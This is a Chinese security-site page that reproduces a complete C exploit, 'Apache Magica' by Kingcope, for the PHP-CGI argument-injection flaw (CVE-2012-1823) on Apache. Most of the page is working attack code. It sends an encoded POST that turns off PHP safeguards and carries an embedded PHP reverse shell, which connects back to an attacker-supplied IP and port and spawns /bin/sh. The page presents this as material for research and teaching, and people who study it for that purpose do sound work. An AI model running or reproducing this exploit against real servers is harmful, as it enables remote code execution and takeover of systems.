测试方法:

本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!

  1. /* Apache Magica by Kingcope */
  2. /* gcc apache-magika.c -o apache-magika -lssl */
  3. /* This is a code execution bug in the combination of Apache and PHP.
  4. On Debian and Ubuntu the vulnerability is present in the default install
  5. of the php5-cgi package. When the php5-cgi package is installed on Debian and
  6. Ubuntu or php-cgi is installed manually the php-cgi binary is accessible under
  7. /cgi-bin/php5 and /cgi-bin/php. The vulnerability makes it possible to execute
  8. the binary because this binary has a security check enabled when installed with
  9. Apache http server and this security check is circumvented by the exploit.
  10. When accessing the php-cgi binary the security check will block the request and
  11. will not execute the binary.
  12. In the source code file sapi/cgi/cgi_main.c of PHP we can see that the security
  13. check is done when the php.ini configuration setting cgi.force_redirect is set
  14. and the php.ini configuration setting cgi.redirect_status_env is set to no.
  15. This makes it possible to execute the binary bypassing the Security check by
  16. setting these two php.ini settings.
  17. Prior to this code for the Security check getopt is called and it is possible
  18. to set cgi.force_redirect to zero and cgi.redirect_status_env to zero using the
  19. -d switch. If both values are set to zero and the request is sent to the server
  20. php-cgi gets fully executed and we can use the payload in the POST data field
  21. to execute arbitrary php and therefore we can execute programs on the system.
  22. apache-magika.c is an exploit that does exactly the prior described. It does
  23. support SSL.
  24. /* Affected and tested versions
  25. PHP 5.3.10
  26. PHP 5.3.8-1
  27. PHP 5.3.6-13
  28. PHP 5.3.3
  29. PHP 5.2.17
  30. PHP 5.2.11
  31. PHP 5.2.6-3
  32. PHP 5.2.6+lenny16 with Suhosin-Patch
  33. Affected versions
  34. PHP prior to 5.3.12
  35. PHP prior to 5.4.2
  36. Unaffected versions
  37. PHP 4 - getopt parser unexploitable
  38. PHP 5.3.12 and up
  39. PHP 5.4.2 and up
  40. Unaffected versions are patched by CVE-2012-1823.
  41. */
  42. /* .
  43. /'\rrq rk
  44. . // \\ .
  45. .x.//fco\\-|-
  46. '//cmtco\\zt
  47. //6meqrg.\\tq
  48. //_________\\'
  49. EJPGQO
  50. apache-magica.c by Kingcope
  51. */
  52. #include<stdio.h>
  53. #include<stdlib.h>
  54. #include<unistd.h>
  55. #include<getopt.h>
  56. #include<sys/types.h>
  57. #include<stddef.h>
  58. #include<openssl/rand.h>
  59. #include<openssl/ssl.h>
  60. #include<openssl/err.h>
  61. #include<netdb.h>
  62. #include<sys/socket.h>
  63. #include<netinet/in.h>
  64. typedefstruct{
  65. int sockfd;
  66. SSL *handle;
  67. SSL_CTX *ctx;
  68. } connection;
  69. void usage(char*argv[])
  70. {
  71. printf("usage: %s <--target target> <--port port> <--protocol http|https> " \
  72. "<--reverse-ip ip> <--reverse-port port> [--force-interpreter interpreter]\n",
  73. argv[0]);
  74. exit(1);
  75. }
  76. char poststr[]="POST %s?%%2D%%64+%%61%%6C%%6C%%6F%%77%%5F" \
  77. "%%75%%72%%6C%%5F%%69%%6E%%63%%6C%%75%%64%%65%%3D%%6F%%6E+%%2D%%64" \
  78. "+%%73%%61%%66%%65%%5F%%6D%%6F%%64%%65%%3D%%6F%%66%%66+%%2D%%64+%%73" \
  79. "%%75%%68%%6F%%73%%69%%6E%%2E%%73%%69%%6D%%75%%6C%%61%%74%%69%%6F%%6E" \
  80. "%%3D%%6F%%6E+%%2D%%64+%%64%%69%%73%%61%%62%%6C%%65%%5F%%66%%75%%6E%%63" \
  81. "%%74%%69%%6F%%6E%%73%%3D%%22%%22+%%2D%%64+%%6F%%70%%65%%6E%%5F%%62" \
  82. "%%61%%73%%65%%64%%69%%72%%3D%%6E%%6F%%6E%%65+%%2D%%64+%%61%%75%%74" \
  83. "%%6F%%5F%%70%%72%%65%%70%%65%%6E%%64%%5F%%66%%69%%6C%%65%%3D%%70%%68" \
  84. "%%70%%3A%%2F%%2F%%69%%6E%%70%%75%%74+%%2D%%64+%%63%%67%%69%%2E%%66%%6F" \
  85. "%%72%%63%%65%%5F%%72%%65%%64%%69%%72%%65%%63%%74%%3D%%30+%%2D%%64+%%63" \
  86. "%%67%%69%%2E%%72%%65%%64%%69%%72%%65%%63%%74%%5F%%73%%74%%61%%74%%75%%73" \
  87. "%%5F%%65%%6E%%76%%3D%%30+%%2D%%6E HTTP/1.1\r\n" \
  88. "Host: %s\r\n" \
  89. "User-Agent: Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26" \
  90. "(KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25\r\n" \
  91. "Content-Type: application/x-www-form-urlencoded\r\n" \
  92. "Content-Length: %d\r\n" \
  93. "Connection: close\r\n\r\n%s";
  94. char phpstr[]="<?php\n" \
  95. "set_time_limit(0);\n" \
  96. "$ip = '%s';\n" \
  97. "$port = %d;\n" \
  98. "$chunk_size = 1400;\n" \
  99. "$write_a = null;\n" \
  100. "$error_a = null;\n" \
  101. "$shell = 'unset HISTFILE; unset HISTSIZE; uname -a; w; id; /bin/sh -i';\n" \
  102. "$daemon = 0;\n" \
  103. "$debug = 0;\n" \
  104. "if (function_exists('pcntl_fork')) {\n" \
  105. " $pid = pcntl_fork(); \n" \
  106. " if ($pid == -1) {\n" \
  107. " printit(\"ERROR: Can't fork\");\n" \
  108. " exit(1);\n" \
  109. " }\n" \
  110. " if ($pid) {\n" \
  111. " exit(0);\n" \
  112. " }\n" \
  113. " if (posix_setsid() == -1) {\n" \
  114. " printit(\"Error: Can't setsid()\");\n" \
  115. " exit(1);\n" \
  116. " }\n" \
  117. " $daemon = 1;\n" \
  118. "} else {\n" \
  119. " printit(\"WARNING: Failed to daemonise.\");\n" \
  120. "}\n" \
  121. "chdir(\"/\");\n" \
  122. "umask(0);\n" \
  123. "$sock = fsockopen($ip, $port, $errno, $errstr, 30);\n" \
  124. "if (!$sock) {\n" \
  125. " printit(\"$errstr ($errno)\");\n" \
  126. " exit(1);\n" \
  127. "}\n" \
  128. "$descriptorspec = array(\n" \
  129. " 0 => array(\"pipe\", \"r\"),\n" \
  130. " 1 => array(\"pipe\", \"w\"),\n" \
  131. " 2 => array(\"pipe\", \"w\")\n" \
  132. ");\n" \
  133. "$process = proc_open($shell, $descriptorspec, $pipes);\n" \
  134. "if (!is_resource($process)) {\n" \
  135. " printit(\"ERROR: Can't spawn shell\");\n" \
  136. " exit(1);\n" \
  137. "}\n" \
  138. "stream_set_blocking($pipes[0], 0);\n" \
  139. "stream_set_blocking($pipes[1], 0);\n" \
  140. "stream_set_blocking($pipes[2], 0);\n" \
  141. "stream_set_blocking($sock, 0);\n" \
  142. "while (1) {\n" \
  143. " if (feof($sock)) {\n" \
  144. " printit(\"ERROR: Shell connection terminated\");\n" \
  145. " break;\n" \
  146. " }\n" \
  147. " if (feof($pipes[1])) {\n" \
  148. " printit(\"ERROR: Shell process terminated\");\n" \
  149. " break;\n" \
  150. " }\n" \
  151. " $read_a = array($sock, $pipes[1], $pipes[2]);\n" \
  152. " $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);\n" \
  153. " if (in_array($sock, $read_a)) {\n" \
  154. " if ($debug) printit(\"SOCK READ\");\n" \
  155. " $input = fread($sock, $chunk_size);\n" \
  156. " if ($debug) printit(\"SOCK: $input\");\n" \
  157. " fwrite($pipes[0], $input);\n" \
  158. " }\n" \
  159. " if (in_array($pipes[1], $read_a)) {\n" \
  160. " if ($debug) printit(\"STDOUT READ\");\n" \
  161. " $input = fread($pipes[1], $chunk_size);\n" \
  162. " if ($debug) printit(\"STDOUT: $input\");\n" \
  163. " fwrite($sock, $input);\n" \
  164. " }\n" \
  165. " if (in_array($pipes[2], $read_a)) {\n" \
  166. " if ($debug) printit(\"STDERR READ\");\n" \
  167. " $input = fread($pipes[2], $chunk_size);\n" \
  168. " if ($debug) printit(\"STDERR: $input\");\n" \
  169. " fwrite($sock, $input);\n" \
  170. " }\n" \
  171. "}\n" \
  172. "\n" \
  173. "fclose($sock);\n" \
  174. "fclose($pipes[0]);\n" \
  175. "fclose($pipes[1]);\n" \
  176. "fclose($pipes[2]);\n" \
  177. "proc_close($process);\n" \
  178. "function printit ($string) {\n" \
  179. " if (!$daemon) {\n" \
  180. " print \"$string\n\";\n" \
  181. " }\n" \
  182. "}\n" \
  183. "exit(1);\n" \
  184. "?>";
  185. struct sockaddr_in *gethostbyname_(char*hostname,unsignedshort port)
  186. {
  187. struct hostent *he;
  188. struct sockaddr_in server,*servercopy;
  189. if((he=gethostbyname(hostname))== NULL){
  190. printf("Hostname cannot be resolved\n");
  191. exit(255);
  192. }
  193. servercopy = malloc(sizeof(struct sockaddr_in));
  194. if(!servercopy){
  195. printf("malloc error (1)\n");
  196. exit(255);
  197. }
  198. memset(&server,'\0',sizeof(struct sockaddr_in));
  199. memcpy(&server.sin_addr, he->h_addr_list[0], he->h_length);
  200. server.sin_family = AF_INET;
  201. server.sin_port = htons(port);
  202. memcpy(servercopy,&server,sizeof(struct sockaddr_in));
  203. return servercopy;
  204. }
  205. char*sslread(connection *c)
  206. {
  207. char*rc = NULL;
  208. int received, count =0, count2=0;
  209. char ch;
  210. for(;;)
  211. {
  212. if(!rc)
  213. rc = calloc(1024,sizeof(char)+1);
  214. else
  215. if(count2 %1024==0){
  216. rc = realloc(rc,(count2 +1)*1024*sizeof(char)+1);
  217. }
  218. received = SSL_read(c->handle,&ch,1);
  219. if(received ==1){
  220. rc[count++]= ch;
  221. count2++;
  222. if(count2 >1024*5)
  223. break;
  224. }
  225. else
  226. break;
  227. }
  228. return rc;
  229. }
  230. char*read_(int sockfd)
  231. {
  232. char*rc = NULL;
  233. int received, count =0, count2=0;
  234. char ch;
  235. for(;;)
  236. {
  237. if(!rc)
  238. rc = calloc(1024,sizeof(char)+1);
  239. else
  240. if(count2 %1024==0){
  241. rc = realloc(rc,(count2 +1)*1024*sizeof(char)+1);
  242. }
  243. received = read(sockfd,&ch,1);
  244. if(received ==1){
  245. rc[count++]= ch;
  246. count2++;
  247. if(count2 >1024*5)
  248. break;
  249. }
  250. else
  251. break;
  252. }
  253. return rc;
  254. }
  255. void main(int argc,char*argv[])
  256. {
  257. char*target,*protocol,*targetip,*writestr,*tmpstr,*readbuf=NULL,
  258. *interpreter,*reverseip,*reverseportstr,*forceinterpreter=NULL;
  259. char httpsflag=0;
  260. unsignedshort port=0, reverseport=0;
  261. struct sockaddr_in *server;
  262. int sockfd;
  263. unsignedint writesize, tmpsize;
  264. unsignedint i;
  265. connection *sslconnection;
  266. printf("-== Apache Magika by Kingcope ==-\n");
  267. for(;;)
  268. {
  269. int c;
  270. int option_index=0;
  271. staticstruct option long_options[]={
  272. {"target", required_argument,0,0},
  273. {"port", required_argument,0,0},
  274. {"protocol", required_argument,0,0},
  275. {"reverse-ip", required_argument,0,0},
  276. {"reverse-port", required_argument,0,0},
  277. {"force-interpreter", required_argument,0,0},
  278. {0,0,0,0}
  279. };
  280. c = getopt_long(argc, argv,"", long_options,&option_index);
  281. if(c <0)
  282. break;
  283. switch(c){
  284. case0:
  285. switch(option_index){
  286. case0:
  287. if(optarg){
  288. target = calloc(strlen(optarg)+1,sizeof(char));
  289. if(!target){
  290. printf("calloc error (2)\n");
  291. exit(255);
  292. }
  293. memcpy(target, optarg, strlen(optarg)+1);
  294. }
  295. break;
  296. case1:
  297. if(optarg)
  298. port = atoi(optarg);
  299. break;
  300. case2:
  301. protocol = calloc(strlen(optarg)+1,sizeof(char));
  302. if(!protocol){
  303. printf("calloc error (3)\n");
  304. exit(255);
  305. }
  306. memcpy(protocol, optarg, strlen(optarg)+1);
  307. if(!strcmp(protocol,"https"))
  308. httpsflag=1;
  309. break;
  310. case3:
  311. reverseip = calloc(strlen(optarg)+1,sizeof(char));
  312. if(!reverseip){
  313. printf("calloc error (4)\n");
  314. exit(255);
  315. }
  316. memcpy(reverseip, optarg, strlen(optarg)+1);
  317. break;
  318. case4:
  319. reverseport = atoi(optarg);
  320. reverseportstr = calloc(strlen(optarg)+1,sizeof(char));
  321. if(!reverseportstr){
  322. printf("calloc error (5)\n");
  323. exit(255);
  324. }
  325. memcpy(reverseportstr, optarg, strlen(optarg)+1);
  326. break;
  327. case5:
  328. forceinterpreter = calloc(strlen(optarg)+1,sizeof(char));
  329. if(!forceinterpreter){
  330. printf("calloc error (6)\n");
  331. exit(255);
  332. }
  333. memcpy(forceinterpreter, optarg, strlen(optarg)+1);
  334. break;
  335. default:
  336. usage(argv);
  337. }
  338. break;
  339. default:
  340. usage(argv);
  341. }
  342. }
  343. if((optind < argc)||!target ||!protocol ||!port ||
  344. !reverseip ||!reverseport){
  345. usage(argv);
  346. }
  347. server = gethostbyname_(target, port);
  348. if(!server){
  349. printf("Error while resolving hostname. (7)\n");
  350. exit(255);
  351. }
  352. char*interpreters[5];
  353. int ninterpreters =5;
  354. interpreters[0]= strdup("/cgi-bin/php");
  355. interpreters[1]= strdup("/cgi-bin/php5");
  356. interpreters[2]= strdup("/cgi-bin/php-cgi");
  357. interpreters[3]= strdup("/cgi-bin/php.cgi");
  358. interpreters[4]= strdup("/cgi-bin/php4");
  359. for(i=0;i<ninterpreters;i++){
  360. interpreter = interpreters[i];
  361. if(forceinterpreter){
  362. interpreter = strdup(forceinterpreter);
  363. }
  364. if(forceinterpreter && i)
  365. break;
  366. printf("%s\n", interpreter);
  367. sockfd = socket(AF_INET, SOCK_STREAM,0);
  368. if(sockfd <1){
  369. printf("socket error (8)\n");
  370. exit(255);
  371. }
  372. if(connect(sockfd,(void*)server,sizeof(struct sockaddr_in))<0){
  373. printf("connect error (9)\n");
  374. exit(255);
  375. }
  376. if(httpsflag){
  377. sslconnection =(connection*) malloc(sizeof(connection));
  378. if(!sslconnection){
  379. printf("malloc error (10)\n");
  380. exit(255);
  381. }
  382. sslconnection->handle = NULL;
  383. sslconnection->ctx = NULL;
  384. SSL_library_init();
  385. sslconnection->ctx = SSL_CTX_new(SSLv23_client_method());
  386. if(!sslconnection->ctx){
  387. printf("SSL_CTX_new error (11)\n");
  388. exit(255);
  389. }
  390. sslconnection->handle = SSL_new(sslconnection->ctx);
  391. if(!sslconnection->handle){
  392. printf("SSL_new error (12)\n");
  393. exit(255);
  394. }
  395. if(!SSL_set_fd(sslconnection->handle, sockfd)){
  396. printf("SSL_set_fd error (13)\n");
  397. exit(255);
  398. }
  399. if(SSL_connect(sslconnection->handle)!=1){
  400. printf("SSL_connect error (14)\n");
  401. exit(255);
  402. }
  403. }
  404. tmpsize = strlen(phpstr)+ strlen(reverseip)+ strlen(reverseportstr)+64;
  405. tmpstr =(char*)calloc(tmpsize,sizeof(char));
  406. snprintf(tmpstr, tmpsize, phpstr, reverseip, reverseport);
  407. writesize = strlen(target)+ strlen(interpreter)+
  408. strlen(poststr)+ strlen(tmpstr)+64;
  409. writestr =(char*)calloc(writesize,sizeof(char));
  410. snprintf(writestr, writesize, poststr, interpreter,
  411. target, strlen(tmpstr), tmpstr);
  412. if(!httpsflag){
  413. write(sockfd, writestr, strlen(writestr));
  414. readbuf = read_(sockfd);
  415. }else{
  416. SSL_write(sslconnection->handle, writestr, strlen(writestr));
  417. readbuf = sslread(sslconnection);
  418. }
  419. if(readbuf){
  420. printf("***SERVER RESPONSE***\n\n%s\n\n", readbuf);
  421. }else{
  422. printf("read error (15)\n");
  423. exit(255);
  424. }
  425. }
  426. exit(1);
  427. }

Apache / PHP 5.x Remote Code Execution Exploit的更多相关文章

  1. [EXP]Apache Superset < 0.23 - Remote Code Execution

    # Exploit Title: Apache Superset < 0.23 - Remote Code Execution # Date: 2018-05-17 # Exploit Auth ...

  2. MyBB \inc\class_core.php <= 1.8.2 unset_globals() Function Bypass and Remote Code Execution(Reverse Shell Exploit) Vulnerability

    catalogue . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 MyBB's unset_globals() function ca ...

  3. [我的CVE][CVE-2017-15708]Apache Synapse Remote Code Execution Vulnerability

    漏洞编号:CNVD-2017-36700 漏洞编号:CVE-2017-15708 漏洞分析:https://www.javasec.cn/index.php/archives/117/ [Apache ...

  4. Insecure default in Elasticsearch enables remote code execution

    Elasticsearch has a flaw in its default configuration which makes it possible for any webpage to exe ...

  5. [EXP]ThinkPHP 5.0.23/5.1.31 - Remote Code Execution

    # Exploit Title: ThinkPHP .x < v5.0.23,v5.1.31 Remote Code Execution # Date: -- # Exploit Author: ...

  6. [EXP]Microsoft Windows MSHTML Engine - "Edit" Remote Code Execution

    # Exploit Title: Microsoft Windows (CVE-2019-0541) MSHTML Engine "Edit" Remote Code Execut ...

  7. Tomcat put上传漏洞_CVE2017-12615( JSP Upload Bypass/Remote Code Execution)

    CVE2017-12615漏洞复现( tomcat JSP Upload Bypass /Remote Code Execution) 一.漏洞原理 在windows服务器下,将readonly参数设 ...

  8. CVE-2014-6321 && MS14-066 Microsoft Schannel Remote Code Execution Vulnerability Analysis

    目录 . 漏洞的起因 . 漏洞原理分析 . 漏洞的影响范围 . 漏洞的利用场景 . 漏洞的POC.测试方法 . 漏洞的修复Patch情况 . 如何避免此类漏洞继续出现 1. 漏洞的起因 这次的CVE和 ...

  9. Roundcube 1.2.2 - Remote Code Execution

    本文简要记述一下Roundcube 1.2.2远程代码执行漏洞的复现过程. 漏洞利用条件 Roundcube必须配置成使用PHP的mail()函数(如果没有指定SMTP,则是默认开启) PHP的mai ...

随机推荐

  1. jdk在windows中的配置

    1.下载jdk(java developer kit),其内部包含jre(java runtime environment): 安装解压缩到一盘内,如:G:\Program Files\Java: 2 ...

  2. C#学习笔记(3)

    先理解一下方法重写和方法重载这2个概念: 1.方法重写(override):发生在父子类之间,子类重写父类中的方法,关键字是override. 2.方法重载(overload):一个类中有多个重名的方 ...

  3. /etc/sysconfig/目录详解

    /etc/sysconfig/目录包括了在红帽企业LINUX下各种系统配置文件,以下是在/etc/sysconfig/目录下的文件列表如图: 500)this.width=500;"> ...

  4. 命令精解之DOS批处理

    前言 最近对于批处理技术的探讨比较热,也有不少好的批处理程序发布,但是如果没有一定的相关知识恐怕不容易看懂和理解这些批处理文件,也就更谈不上自己动手编写了,古语云:“授人以鱼,不如授人以渔.”因为网上 ...

  5. Asp.net笔记(原创)

    Repeater控件的使用:<asp:Label ID="Label1" runat="server" Text='<%#Eval("na ...

  6. Struts2的运行原理和运行与原理

    Struts2 struts2的流程图 运行机制 1.客户端发送请求.通过ActionContextLoader调用FilterDispatcher(struts) 2.FilterDispatche ...

  7. PAT_1016 部分A+B

    问题描述: 正整数A的“DA(为1位整数)部分”定义为由A中所有DA组成的新整数PA.例如:给定A = 3862767,DA = 6,则A的“6部分”PA是66,因为A中有2个6. 现给定A.DA.B ...

  8. Win7下Boost库的安装

    Boost库是C++领域公认的经过千锤百炼的知名C++类库,涉及编程中的方方面面,简单记录一下使用时的安装过程 1.boost库的下载 boost库官网主页:www.boost.org 2.安装 将下 ...

  9. jsp 嵌套iframe 从iframe中表单提交并传值到外层

    今天因需求迭代 更改元来代码 遇到了这么个问题 就是想在 iframe中提交后进行整个页面的跳转 并把iframe中的值传到外层jsp 大概就是这个样子 外层 a.jsp <div id=&qu ...

  10. windows 环境下安装plpython语言环境到postgresql数据库

    1.1       安装plpython 在windows环境 1.1.1      下载http://legacy.python.org/ftp//python/3.2.5/python-3.2.5 ...